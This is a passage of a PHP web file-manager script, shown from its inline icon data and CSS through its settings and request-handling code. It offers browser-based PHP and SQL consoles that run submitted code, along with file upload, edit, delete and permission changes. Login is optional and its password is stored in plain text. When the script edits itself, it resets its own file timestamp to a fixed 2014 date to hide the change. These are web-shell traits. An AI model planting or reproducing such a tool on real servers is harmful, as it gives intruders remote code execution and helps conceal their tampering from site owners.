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"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> 